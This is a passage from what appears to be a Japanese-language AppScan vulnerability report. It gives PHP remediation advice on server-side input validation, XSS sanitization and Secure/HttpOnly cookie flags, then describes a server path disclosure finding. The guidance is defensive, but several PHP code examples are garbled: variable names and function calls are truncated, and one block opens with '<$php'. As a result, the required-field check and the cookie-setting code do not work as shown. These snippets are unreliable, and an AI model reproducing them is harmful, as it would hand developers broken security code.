http://java.sun.com/j2ee/javaserverfaces/

## 推奨される修正 - PHP

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ずサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、各アプリケーション・パラメーターを検証する関数を実装することです。以下のセクションでは、チェックの例について示しています。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。
次に、要求されたフィールドを検証する例を示します。

```
  // PHP example to validate required fields
input) {
      …
ass = false;
input))>0){
ass = true;
      }
ass;
      …
  }
  …
fieldName)) {
      // fieldName is valid, continue processing request
      …
  }
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか) の長さが最小値から最大値までの間であることを確認します。

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

[5] フィールドのオプション: 多くの場合 Web アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT HTML タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]+$

[7] Cookie の値: アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

[8] HTTP 応答

[8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、開発者が、危険な文字を対応する文字エンティティーに変換して HTML をサニタイズする必要があります。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

PHP には、htmlentities() などの自動サニタイズ・ユーティリティー関数がいくつかあります。

```
  $input = htmlentities($input, ENT_QUOTES, 'UTF-8');
```

さらに、クロスサイト・スクリプティングの UTF-7 バリアントを防止するために、明示的に応答の Content-Type ヘッダーを定義します。以下の例を参照してください。

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Cookie のセキュリティー保護

秘密データを Cookie に格納して SSL を介して転送するときには、まず HTTP 応答に Cookie のセキュリティー・フラグを設定します。これによって、SSL 接続ではこの Cookie のみを使用するようにブラウザーに指示します。

Cookie のセキュリティーを保つ方法については、以下のコード例を使用することができます。

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

さらに、HttpOnly フラグを使用することをお勧めします。HttpOnly フラグが TRUE に設定されているとき、Cookie は HTTP プロトコルでのみアクセスできるようになっています。つまり、この Cookie は JavaScript のようなスクリプト言語ではアクセスできなくなります。この設定によって、XSS 攻撃による ID の盗用を効果的に減殺することができます (ただしすべてのブラウザーがサポートしている訳ではありません)。

HttpOnly フラグは PHP 5.2.0 で追加されました。

参照リンク:

[1] HTTP-only Cookies によるクロスサイト・スクリプティングの防止:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP セキュリティー・コンソーシアム:
http://phpsec.org/
[3] PHP & Web アプリケーション・セキュリティー・ブログ (Chris Shiflett):
http://shiflett.org/

## 参考資料と関連リンク

アポストロフィーを使用してサイトをハッキングする例は、「How I hacked PacketStorm」(著者: Rain Forest Puppy)、RFP のサイトにあります。
「Web Application Disassembly with ODBC Error Messages」(著者: David Litchfield)
CERT アドバイザリー (CA-1997-25): CGI スクリプトにおけるユーザー提供データのサニタイズ

# サーバーのパス開示の可能性のあるパターンを発見

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

攻撃者がさらなる攻撃を展開し、Web アプリケーションのファイル・システム構造についての情報を取得するのに役立つ可能性のある Web サーバーのインストールの絶対パスが取得できます

## 考えられる原因

サード・パーティー製品の最新のパッチまたはホット・フィックスがインストールされていません

## 技術的な説明

AppScan が、ファイルの絶対パス (例えば Windows では c:¥dir¥file、Unix では /dir/file) を含むレスポンスを検出しました。

攻撃者はこの情報を悪用してサーバー・マシンのディレクトリー構造に関する秘密情報にアクセスし、サイトに対してより深刻な攻撃をしかける可能性があります。

## 推奨される修正 - 全般

お使いの Web サーバーまたは Web アプリケーションに存在する問題に関連するセキュリティー・パッチをダウンロードします。

## 参考資料と関連リンク

CWE-200: Information Leak (Information Disclosure)